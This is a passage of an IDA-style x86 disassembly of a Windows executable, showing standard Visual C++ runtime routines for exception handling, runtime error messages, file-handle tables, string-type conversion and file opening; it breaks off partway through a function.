sub_41D6A4	proc near		; DATA XREF: .text:00417B22o
					; sub_41AF25+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D744
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D6D7:				; CODE XREF: sub_41D6A4+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D73D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D72B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D72B
		js	short loc_41D736
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416200
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_416242
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4162D6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D72B:				; CODE XREF: sub_41D6A4+40j
					; sub_41D6A4+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D6D7
; ---------------------------------------------------------------------------


loc_41D736:				; CODE XREF: sub_41D6A4+54j
		mov	eax, 0
		jmp	short loc_41D759
; ---------------------------------------------------------------------------


loc_41D73D:				; CODE XREF: sub_41D6A4+36j
		mov	eax, 1
		jmp	short loc_41D759
; ---------------------------------------------------------------------------


loc_41D744:				; CODE XREF: sub_41D6A4+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_416242
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D759:				; CODE XREF: sub_41D6A4+97j
					; sub_41D6A4+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D6A4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_416242
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41D77C	proc near		; CODE XREF: sub_417C0E+9p
					; sub_417C33+9p
		mov	eax, dword_46BB58
		cmp	eax, 1
		jz	short loc_41D793
		test	eax, eax
		jnz	short locret_41D7B4
		cmp	dword_4383E4, 1
		jnz	short locret_41D7B4


loc_41D793:				; CODE XREF: sub_41D77C+8j
		push	0FCh
		call	sub_41D7B5
		mov	eax, dword_46BCC4
		pop	ecx
		test	eax, eax
		jz	short loc_41D7A9
		call	eax


loc_41D7A9:				; CODE XREF: sub_41D77C+29j
		push	0FFh
		call	sub_41D7B5
		pop	ecx

locret_41D7B4:				; CODE XREF: sub_41D77C+Cj
					; sub_41D77C+15j
		retn
sub_41D77C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7B5	proc near		; CODE XREF: sub_417C0E+12p
					; sub_417C33+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43AA78


loc_41D7C8:				; CODE XREF: sub_41D7B5+20j
		cmp	edx, [eax]
		jz	short loc_41D7D7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43AB08
		jl	short loc_41D7C8


loc_41D7D7:				; CODE XREF: sub_41D7B5+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43AA78[esi]
		jnz	loc_41D905
		mov	eax, dword_46BB58
		cmp	eax, 1
		jz	loc_41D8DF
		test	eax, eax
		jnz	short loc_41D808
		cmp	dword_4383E4, 1
		jz	loc_41D8DF


loc_41D808:				; CODE XREF: sub_41D7B5+44j
		cmp	edx, 0FCh
		jz	loc_41D905
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41D83F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx


loc_41D83F:				; CODE XREF: sub_41D7B5+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415B10
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41D882
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415B10
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416BE0
		add	esp, 10h


loc_41D882:				; CODE XREF: sub_41D7B5+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415A20
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_A0]
		push	offset asc_421B70 ; "\n\n"
		push	eax
		call	sub_415A30
		push	off_43AA7C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415A30
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41EF8E
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DF:				; CODE XREF: sub_41D7B5+3Cj
					; sub_41D7B5+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43AA7C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415B10
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_421034	; GetStdHandle
		push	eax
		call	dword_421070	; WriteFile


loc_41D905:				; CODE XREF: sub_41D7B5+2Ej
					; sub_41D7B5+59j ...
		pop	esi
		leave
		retn
sub_41D7B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D908	proc near		; CODE XREF: sub_417C57+6Cp
					; sub_41C178+32p ...

arg_0		= dword	ptr  4

		inc	dword_46BCC8
		push	1000h
		call	sub_415BE9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D931
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D942
; ---------------------------------------------------------------------------


loc_41D931:				; CODE XREF: sub_41D908+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D942:				; CODE XREF: sub_41D908+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D908	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D94C	proc near		; CODE XREF: sub_417C57+61p
					; sub_4187D6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46CF20
		jb	short loc_41D95B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D95B:				; CODE XREF: sub_41D94C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46CE20[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D94C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D972	proc near		; DATA XREF: .text:00423020o
		mov	eax, dword_46CE00
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D986
		mov	eax, 200h
		jmp	short loc_41D98C
; ---------------------------------------------------------------------------


loc_41D986:				; CODE XREF: sub_41D972+Bj
		cmp	eax, esi
		jge	short loc_41D991
		mov	eax, esi


loc_41D98C:				; CODE XREF: sub_41D972+12j
		mov	dword_46CE00, eax


loc_41D991:				; CODE XREF: sub_41D972+16j
		push	4
		push	eax
		call	sub_41F017
		pop	ecx
		mov	dword_46BDF8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D9C5
		push	4
		push	esi
		mov	dword_46CE00, esi
		call	sub_41F017
		pop	ecx
		mov	dword_46BDF8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D9C5
		push	1Ah
		call	sub_417C0E
		pop	ecx


loc_41D9C5:				; CODE XREF: sub_41D972+30j
					; sub_41D972+49j
		xor	ecx, ecx
		mov	eax, offset off_43AB08


loc_41D9CC:				; CODE XREF: sub_41D972+6Ej
		mov	edx, dword_46BDF8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43AD88
		jl	short loc_41D9CC
		xor	edx, edx
		mov	ecx, offset dword_43AB18


loc_41D9E9:				; CODE XREF: sub_41D972+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_46CE20[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DA06
		test	eax, eax
		jnz	short loc_41DA09


loc_41DA06:				; CODE XREF: sub_41D972+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41DA09:				; CODE XREF: sub_41D972+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43AB78
		jl	short loc_41D9E9
		pop	esi
		retn
sub_41D972	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA17	proc near		; DATA XREF: .text:00423030o

; FUNCTION CHUNK AT 0041F0C8 SIZE 00000058 BYTES

		call	sub_418760
		cmp	byte_46BB44, 0
		jz	short locret_41DA2A
		jmp	loc_41F0C8
; ---------------------------------------------------------------------------

locret_41DA2A:				; CODE XREF: sub_41DA17+Cj
		retn
sub_41DA17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA2B	proc near		; CODE XREF: sub_417D6C+2D4p
					; sub_417D6C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41DA37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA37:				; CODE XREF: sub_41DA2B+8j
		cmp	dword_46BB9C, 0
		jnz	short loc_41DA52
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41DA84
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA52:				; CODE XREF: sub_41DA2B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4385FC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_46BBAC
		call	dword_421138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DA84
		cmp	[ebp+arg_0], 0
		jz	short loc_41DA91


loc_41DA84:				; CODE XREF: sub_41DA2B+1Ej
					; sub_41DA2B+51j
		mov	dword_46BB04, 2Ah
		or	eax, 0FFFFFFFFh


loc_41DA91:				; CODE XREF: sub_41DA2B+57j
		pop	ebp
		retn
sub_41DA2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA93	proc near		; CODE XREF: sub_418576+5Ep
					; sub_41CA9C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421BB0
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_46BCCC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DB02
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4218A0
		push	esi
		call	dword_421028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41DAE0
		mov	eax, esi
		jmp	short loc_41DAFD
; ---------------------------------------------------------------------------


loc_41DAE0:				; CODE XREF: sub_41DA93+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43B668
		push	esi
		push	ebx
		call	dword_42102C	; GetStringTypeA
		test	eax, eax
		jz	loc_41DBC8
		push	2
		pop	eax


loc_41DAFD:				; CODE XREF: sub_41DA93+4Bj
		mov	dword_46BCCC, eax


loc_41DB02:				; CODE XREF: sub_41DA93+2Fj
		cmp	eax, 2
		jnz	short loc_41DB2B
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41DB13
		mov	eax, dword_46BB9C


loc_41DB13:				; CODE XREF: sub_41DA93+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42102C	; GetStringTypeA
		jmp	loc_41DBCA
; ---------------------------------------------------------------------------


loc_41DB2B:				; CODE XREF: sub_41DA93+72j
		cmp	eax, 1
		jnz	loc_41DBC8
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41DB41
		mov	eax, dword_46BBAC
		mov	[ebp+arg_10], eax


loc_41DB41:				; CODE XREF: sub_41DA93+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41DBC8
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415390
		add	esp, 0Ch
		jmp	short loc_41DB97
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41DB97:				; CODE XREF: sub_41DA93+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41DBC8
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41DBC8
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_421028	; GetStringTypeW
		jmp	short loc_41DBCA
; ---------------------------------------------------------------------------


loc_41DBC8:				; CODE XREF: sub_41DA93+61j
					; sub_41DA93+9Bj ...
		xor	eax, eax


loc_41DBCA:				; CODE XREF: sub_41DA93+93j
					; sub_41DA93+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA93	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBDC	proc near		; CODE XREF: sub_41DDF6:loc_41DF6Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46CE20


loc_41DBEB:				; CODE XREF: sub_41DBDC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41DC28
		lea	edx, [eax+100h]


loc_41DBF7:				; CODE XREF: sub_41DBDC+28j
		cmp	eax, edx
		jnb	short loc_41DC17
		test	byte ptr [eax+4], 1
		jz	short loc_41DC06
		add	eax, 8
		jmp	short loc_41DBF7
; ---------------------------------------------------------------------------


loc_41DC06:				; CODE XREF: sub_41DBDC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41DC6B


loc_41DC17:				; CODE XREF: sub_41DBDC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46CF20
		jl	short loc_41DBEB
		jmp	short loc_41DC6B
; ---------------------------------------------------------------------------


loc_41DC28:				; CODE XREF: sub_41DBDC+13j
		mov	esi, 100h
		push	esi
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		jz	short loc_41DC6B
		add	dword_46CF20, 20h
		lea	ecx, ds:46CE20h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41DC4E:				; CODE XREF: sub_41DBDC+88j
		cmp	eax, edx
		jnb	short loc_41DC66
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41DC4E
; ---------------------------------------------------------------------------


loc_41DC66:				; CODE XREF: sub_41DBDC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41DC6B:				; CODE XREF: sub_41DBDC+39j
					; sub_41DBDC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DBDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC71	proc near		; CODE XREF: sub_41DDF6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46CF20
		push	edi
		jnb	short loc_41DCD1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46CE20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41DCD1
		cmp	dword_4383E4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41DCC7
		sub	eax, 0
		jz	short loc_41DCBE
		dec	eax
		jz	short loc_41DCB9
		dec	eax
		jnz	short loc_41DCC7
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DCB9:				; CODE XREF: sub_41DC71+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DCBE:				; CODE XREF: sub_41DC71+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41DCC1:				; CODE XREF: sub_41DC71+46j
					; sub_41DC71+4Bj
		call	dword_421024	; SetStdHandle


loc_41DCC7:				; CODE XREF: sub_41DC71+36j
					; sub_41DC71+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41DCE5
; ---------------------------------------------------------------------------


loc_41DCD1:				; CODE XREF: sub_41DC71+Cj
					; sub_41DC71+28j
		and	dword_46BB08, 0
		mov	dword_46BB04, 9
		or	eax, 0FFFFFFFFh


loc_41DCE5:				; CODE XREF: sub_41DC71+5Ej
		pop	edi
		pop	esi
		retn
sub_41DC71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE8	proc near		; CODE XREF: sub_4185EB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_46CF20
		push	edi
		jnb	short loc_41DD4B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46CE20h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41DD4B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41DD4B
		cmp	dword_4383E4, 1
		jnz	short loc_41DD41
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41DD38
		dec	ecx
		jz	short loc_41DD33
		dec	ecx
		jnz	short loc_41DD41
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41DD3B
; ---------------------------------------------------------------------------


loc_41DD33:				; CODE XREF: sub_41DCE8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41DD3B
; ---------------------------------------------------------------------------


loc_41DD38:				; CODE XREF: sub_41DCE8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41DD3B:				; CODE XREF: sub_41DCE8+49j
					; sub_41DCE8+4Ej
		call	dword_421024	; SetStdHandle


loc_41DD41:				; CODE XREF: sub_41DCE8+38j
					; sub_41DCE8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41DD5F
; ---------------------------------------------------------------------------


loc_41DD4B:				; CODE XREF: sub_41DCE8+Cj
					; sub_41DCE8+2Aj ...
		and	dword_46BB08, 0
		mov	dword_46BB04, 9
		or	eax, 0FFFFFFFFh


loc_41DD5F:				; CODE XREF: sub_41DCE8+61j
		pop	edi
		pop	esi
		retn
sub_41DCE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD62	proc near		; CODE XREF: sub_4185EB+32p
					; sub_4185EB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46CF20
		jnb	short loc_41DD8A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46CE20[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41DD8A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41DD8A:				; CODE XREF: sub_41DD62+Aj
					; sub_41DD62+23j
		and	dword_46BB08, 0
		mov	dword_46BB04, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41DD62	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD9F	proc near		; CODE XREF: sub_4186C9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46CF20
		jnb	short loc_41DDE8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_46CE20[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41DDE8
		push	eax
		call	sub_41DD62
		pop	ecx
		push	eax
		call	dword_421020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41DDDD
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41DDDF
; ---------------------------------------------------------------------------


loc_41DDDD:				; CODE XREF: sub_41DD9F+34j
		xor	eax, eax


loc_41DDDF:				; CODE XREF: sub_41DD9F+3Cj
		test	eax, eax
		jz	short locret_41DDF5
		mov	dword_46BB08, eax


loc_41DDE8:				; CODE XREF: sub_41DD9F+Aj
					; sub_41DD9F+22j
		mov	dword_46BB04, 9
		or	eax, 0FFFFFFFFh

locret_41DDF5:				; CODE XREF: sub_41DD9F+42j
		retn
sub_41DD9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDF6	proc near		; CODE XREF: sub_4188A0+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41DE1C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41DE27
; ---------------------------------------------------------------------------


loc_41DE1C:				; CODE XREF: sub_41DDF6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41DE27:				; CODE XREF: sub_41DDF6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41DE41
		test	ch, 40h
		jnz	short loc_41DE3D
		cmp	dword_46BDD8, eax
		jz	short loc_41DE41


loc_41DE3D:				; CODE XREF: sub_41DDF6+3Dj
		or	[ebp+var_1], 80h


loc_41DE41:				; CODE XREF: sub_41DDF6+38j
					; sub_41DDF6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41DE79
		dec	eax
		jz	short loc_41DE70
		dec	eax
		jz	short loc_41DE67


loc_41DE52:				; CODE XREF: sub_41DDF6+9Fj
					; sub_41DDF6+E8j ...
		mov	dword_46BB04, 16h
		mov	dword_46BB08, ebx
		jmp	loc_41E08C
; ---------------------------------------------------------------------------


loc_41DE67:				; CODE XREF: sub_41DDF6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41DE80
; ---------------------------------------------------------------------------


loc_41DE70:				; CODE XREF: sub_41DDF6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41DE80
; ---------------------------------------------------------------------------


loc_41DE79:				; CODE XREF: sub_41DDF6+54j
		mov	[ebp+var_C], 80000000h


loc_41DE80:				; CODE XREF: sub_41DDF6+78j
					; sub_41DDF6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41DEAE
		cmp	eax, 20h
		jz	short loc_41DEA5
		cmp	eax, 30h
		jz	short loc_41DE9C
		cmp	eax, 40h
		jnz	short loc_41DE52
		mov	[ebp+var_10], esi
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DE9C:				; CODE XREF: sub_41DDF6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEA5:				; CODE XREF: sub_41DDF6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEAE:				; CODE XREF: sub_41DDF6+90j
		mov	[ebp+var_10], ebx


loc_41DEB1:				; CODE XREF: sub_41DDF6+A4j
					; sub_41DDF6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41DEFB
		jz	short loc_41DEF6
		cmp	ecx, ebx
		jz	short loc_41DEF6
		cmp	ecx, edi
		jz	short loc_41DEED
		cmp	ecx, 200h
		jz	short loc_41DF14
		cmp	ecx, 300h
		jnz	loc_41DE52
		mov	[ebp+var_8], 2
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DEED:				; CODE XREF: sub_41DDF6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DEF6:				; CODE XREF: sub_41DDF6+D0j
					; sub_41DDF6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DEFB:				; CODE XREF: sub_41DDF6+CEj
		cmp	ecx, 500h
		jz	short loc_41DF1D
		cmp	ecx, 600h
		jz	short loc_41DF14
		cmp	ecx, edx
		jz	short loc_41DF1D
		jmp	loc_41DE52
; ---------------------------------------------------------------------------


loc_41DF14:				; CODE XREF: sub_41DDF6+E0j
					; sub_41DDF6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DF1D:				; CODE XREF: sub_41DDF6+10Bj
					; sub_41DDF6+117j
		mov	[ebp+var_8], 1


loc_41DF24:				; CODE XREF: sub_41DDF6+F5j
					; sub_41DDF6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41DF43
		mov	ecx, dword_46BB0C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41DF43
		push	1
		pop	esi


loc_41DF43:				; CODE XREF: sub_41DDF6+138j
					; sub_41DDF6+148j
		test	al, 40h
		jz	short loc_41DF51
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41DF51:				; CODE XREF: sub_41DDF6+14Fj
		test	ah, 10h
		jz	short loc_41DF58
		or	esi, edi


loc_41DF58:				; CODE XREF: sub_41DDF6+15Ej
		test	al, 20h
		jz	short loc_41DF64
		or	esi, 8000000h
		jmp	short loc_41DF6E
; ---------------------------------------------------------------------------


loc_41DF64:				; CODE XREF: sub_41DDF6+164j
		test	al, 10h
		jz	short loc_41DF6E
		or	esi, 10000000h


loc_41DF6E:				; CODE XREF: sub_41DDF6+16Cj
					; sub_41DDF6+170j
		call	sub_41DBDC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41DF8F
		and	dword_46BB08, 0
		mov	dword_46BB04, 18h
		jmp	short loc_41DFCD
; ---------------------------------------------------------------------------


